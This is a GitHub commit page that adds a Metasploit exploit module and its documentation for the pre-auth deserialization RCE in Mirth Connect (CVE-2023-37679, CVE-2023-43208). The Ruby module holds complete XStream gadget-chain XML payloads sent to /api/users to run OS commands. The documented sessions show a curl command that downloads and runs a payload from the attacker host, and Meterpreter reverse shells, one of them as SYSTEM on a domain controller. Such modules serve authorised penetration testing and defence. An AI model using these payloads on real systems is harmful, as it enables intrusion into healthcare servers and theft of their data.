Skip to content

Commit 59df04b

Browse files
committed
Land rapid7#18755, Add an exploit for Mirth Connect RCE
This PR add an exploit module for both CVE-2023-43208 and CVE-2023-37679 where the former is a patch bypass for the later.
2 parents e5f96bd + 577898d commit 59df04b

File tree

2 files changed

+373
-0
lines changed

2 files changed

+373
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
## Vulnerable Application
2+
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
3+
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
4+
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
5+
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
6+
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
7+
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
8+
9+
### Setup (Linux with Docker)
10+
11+
1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0`
12+
13+
### Setup (Windows)
14+
15+
1. Download the desired release from the [GitHub page][1]
16+
2. Install a Java runtime
17+
3. Install Mirth Connect
18+
1. Accept all default values for every stage of the installation
19+
20+
## Verification Steps
21+
22+
1. Follow the steps from the Setup section to create a test instance
23+
2. Start msfconsole
24+
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208`
25+
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
26+
5. Run the module
27+
28+
## Options
29+
30+
## Scenarios
31+
32+
### Mirth Connect 4.4.0 in Docker
33+
34+
Note that Python is not available in the docker container, so no Python payloads will work.
35+
36+
```
37+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128
38+
RHOSTS => 192.168.159.128
39+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command
40+
TARGET => Unix Command
41+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http
42+
Display all 106 possibilities? (y or n)
43+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
44+
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
45+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
46+
LHOST => 192.168.159.128
47+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
48+
VERBOSE => true
49+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit
50+
51+
[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX &
52+
[*] Fetch Handler listening on 192.168.159.128:8080
53+
[*] HTTP server started
54+
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
55+
[*] Started reverse TCP handler on 192.168.159.128:4444
56+
[*] Running automatic check ("set AutoCheck false" to disable)
57+
[*] Detected target version: 4.1.1
58+
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
59+
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
60+
[+] The target appears to have executed the payload.
61+
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
62+
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
63+
[*] Transmitting intermediate stager...(126 bytes)
64+
[*] Sending stage (3045380 bytes) to 192.168.159.128
65+
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500
66+
67+
meterpreter > getuid
68+
Server username: mirth
69+
meterpreter > sysinfo
70+
Computer : 10.0.2.100
71+
OS : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64)
72+
Architecture : x64
73+
BuildTuple : x86_64-linux-musl
74+
Meterpreter : x64/linux
75+
meterpreter > pwd
76+
/opt/connect
77+
meterpreter >
78+
```
79+
80+
### Mirth Connect 4.4.0 on Windows Server 2019
81+
82+
```
83+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
84+
RHOSTS => 192.168.159.10
85+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command
86+
TARGET => Windows Command
87+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
88+
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
89+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
90+
LHOST => 192.168.159.128
91+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
92+
VERBOSE => true
93+
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run
94+
95+
[*] Powershell command length: 4418
96+
[*] Started reverse TCP handler on 192.168.159.128:4444
97+
[*] Running automatic check ("set AutoCheck false" to disable)
98+
[*] Detected target version: 4.4.0
99+
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
100+
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
101+
[+] The target appears to have executed the payload.
102+
[*] Sending stage (201798 bytes) to 192.168.159.10
103+
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500
104+
105+
meterpreter > getuid
106+
Server username: NT AUTHORITY\SYSTEM
107+
meterpreter > sysinfo
108+
Computer : DC
109+
OS : Windows Server 2019 (10.0 Build 17763).
110+
Architecture : x64
111+
System Language : en_US
112+
Domain : MSFLAB
113+
Logged On Users : 13
114+
Meterpreter : x64/windows
115+
meterpreter > pwd
116+
C:\Program Files\Mirth Connect
117+
meterpreter >
118+
```
119+
120+
[1]: https://github.com/nextgenhealthcare/connect/releases
121+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,252 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Mirth Connect Deserialization RCE',
18+
'Description' => %q{
19+
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
20+
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
21+
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
22+
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
23+
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
24+
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
25+
},
26+
'Author' => [
27+
'r00t',
28+
'Naveen Sunkavally',
29+
'Spencer McIntyre'
30+
],
31+
'References' => [
32+
['CVE', '2023-37679'],
33+
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],
34+
['CVE', '2023-43208'],
35+
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],
36+
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],
37+
],
38+
'DisclosureDate' => '2023-10-25',
39+
'License' => MSF_LICENSE,
40+
'Platform' => ['unix', 'linux', 'win'],
41+
'Arch' => [ARCH_CMD],
42+
'Privileged' => false,
43+
'Targets' => [
44+
[
45+
'Unix Command',
46+
{
47+
'Platform' => ['unix', 'linux'],
48+
'Arch' => ARCH_CMD
49+
}
50+
],
51+
[
52+
'Windows Command',
53+
{
54+
'Platform' => 'win',
55+
'Arch' => ARCH_CMD,
56+
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
57+
}
58+
]
59+
],
60+
'DefaultTarget' => 0,
61+
'DefaultOptions' => {
62+
'RPORT' => 8443,
63+
'SSL' => true
64+
},
65+
'Notes' => {
66+
'Stability' => [CRASH_SAFE],
67+
'Reliability' => [REPEATABLE_SESSION],
68+
'SideEffects' => [IOC_IN_LOGS]
69+
}
70+
)
71+
)
72+
73+
register_options([
74+
OptString.new('TARGETURI', [true, 'Base path', '/'])
75+
])
76+
end
77+
78+
def check
79+
res = send_request_cgi(
80+
'method' => 'GET',
81+
'uri' => normalize_uri(target_uri.path)
82+
)
83+
return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?
84+
85+
unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/
86+
return CheckCode::Safe('The target is not Mirth Connect.')
87+
end
88+
89+
target_version = get_target_version
90+
return CheckCode::Detected('Failed to detect the target version.') unless target_version
91+
92+
vprint_status("Detected target version: #{target_version}")
93+
94+
if target_version <= Rex::Version.new('4.3.0')
95+
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
96+
elsif target_version <= Rex::Version.new('4.4.0')
97+
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
98+
end
99+
100+
CheckCode::Safe("Version #{target_version} is not affected.")
101+
end
102+
103+
def get_target_version
104+
return @target_version if @target_version
105+
106+
res = send_request_cgi(
107+
'method' => 'GET',
108+
'uri' => normalize_uri(target_uri.path, 'api/server/version'),
109+
'headers' => {
110+
'X-Requested-With' => 'OpenAPI'
111+
}
112+
)
113+
return nil unless res&.code == 200
114+
return nil unless res.body =~ /(\d+(\.\d+)*)/
115+
116+
@target_version = Rex::Version.new(Regexp.last_match(1))
117+
@target_version
118+
end
119+
120+
def exploit
121+
target_version = get_target_version
122+
print_status("Executing #{payload_instance.refname} (#{target.name})")
123+
124+
if target_version <= Rex::Version.new('4.3.0')
125+
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
126+
# which did not implement the deny-list logic that was bypassed by the newer chain
127+
res = execute_command_cve_2023_37679(payload.encoded)
128+
elsif target_version <= Rex::Version.new('4.4.0')
129+
res = execute_command_cve_2023_43208(payload.encoded)
130+
else
131+
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
132+
end
133+
134+
if res.nil?
135+
fail_with(Failure::Unreachable, 'Failed to execute the payload.')
136+
elsif res.code != 500
137+
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')
138+
end
139+
140+
print_good('The target appears to have executed the payload.')
141+
end
142+
143+
def execute_command_cve_2023_37679(cmd, _opts = {})
144+
# Tested on 4.1.1 and 4.3.0
145+
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
146+
<sorted-set>
147+
<string>#{rand_text_alphanumeric(4..12)}</string>
148+
<dynamic-proxy>
149+
<interface>java.lang.Comparable</interface>
150+
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
151+
<target class="java.lang.ProcessBuilder">
152+
<command>
153+
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>
154+
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>
155+
<string>#{cmd.encode(xml: :text)}</string>
156+
</command>
157+
</target>
158+
<methodName>start</methodName>
159+
<eventTypes/>
160+
</handler>
161+
</dynamic-proxy>
162+
</sorted-set>
163+
XML
164+
165+
res = send_request_cgi({
166+
'method' => 'POST',
167+
'uri' => normalize_uri(target_uri.path, 'api/users'),
168+
'ctype' => 'application/xml',
169+
'headers' => {
170+
'X-Requested-With' => 'OpenAPI'
171+
},
172+
'data' => xml
173+
})
174+
175+
res
176+
end
177+
178+
def execute_command_cve_2023_43208(cmd, _opts = {})
179+
if target['Platform'] == 'win'
180+
cmd = "cmd.exe /c \"#{cmd}\""
181+
else
182+
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
183+
cmd = "sh -c $@|sh . echo #{cmd}"
184+
end
185+
186+
# Tested on 4.1.1, 4.4.0
187+
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
188+
<sorted-set>
189+
<string>#{rand_text_alphanumeric(4..12)}</string>
190+
<dynamic-proxy>
191+
<interface>java.lang.Comparable</interface>
192+
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
193+
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
194+
<iTransformers>
195+
<org.apache.commons.collections4.functors.ConstantTransformer>
196+
<iConstant class="java-class">java.lang.Runtime</iConstant>
197+
</org.apache.commons.collections4.functors.ConstantTransformer>
198+
<org.apache.commons.collections4.functors.InvokerTransformer>
199+
<iMethodName>getMethod</iMethodName>
200+
<iParamTypes>
201+
<java-class>java.lang.String</java-class>
202+
<java-class>[Ljava.lang.Class;</java-class>
203+
</iParamTypes>
204+
<iArgs>
205+
<string>getRuntime</string>
206+
<java-class-array/>
207+
</iArgs>
208+
</org.apache.commons.collections4.functors.InvokerTransformer>
209+
<org.apache.commons.collections4.functors.InvokerTransformer>
210+
<iMethodName>invoke</iMethodName>
211+
<iParamTypes>
212+
<java-class>java.lang.Object</java-class>
213+
<java-class>[Ljava.lang.Object;</java-class>
214+
</iParamTypes>
215+
<iArgs>
216+
<null/>
217+
<object-array/>
218+
</iArgs>
219+
</org.apache.commons.collections4.functors.InvokerTransformer>
220+
<org.apache.commons.collections4.functors.InvokerTransformer>
221+
<iMethodName>exec</iMethodName>
222+
<iParamTypes>
223+
<java-class>java.lang.String</java-class>
224+
</iParamTypes>
225+
<iArgs>
226+
<string>#{cmd.encode(xml: :text)}</string>
227+
</iArgs>
228+
</org.apache.commons.collections4.functors.InvokerTransformer>
229+
</iTransformers>
230+
</target>
231+
<methodName>transform</methodName>
232+
<eventTypes>
233+
<string>compareTo</string>
234+
</eventTypes>
235+
</handler>
236+
</dynamic-proxy>
237+
</sorted-set>
238+
XML
239+
240+
res = send_request_cgi({
241+
'method' => 'POST',
242+
'uri' => normalize_uri(target_uri.path, 'api/users'),
243+
'ctype' => 'application/xml',
244+
'headers' => {
245+
'X-Requested-With' => 'OpenAPI'
246+
},
247+
'data' => xml
248+
})
249+
250+
res
251+
end
252+
end

0 commit comments

Comments
 (0)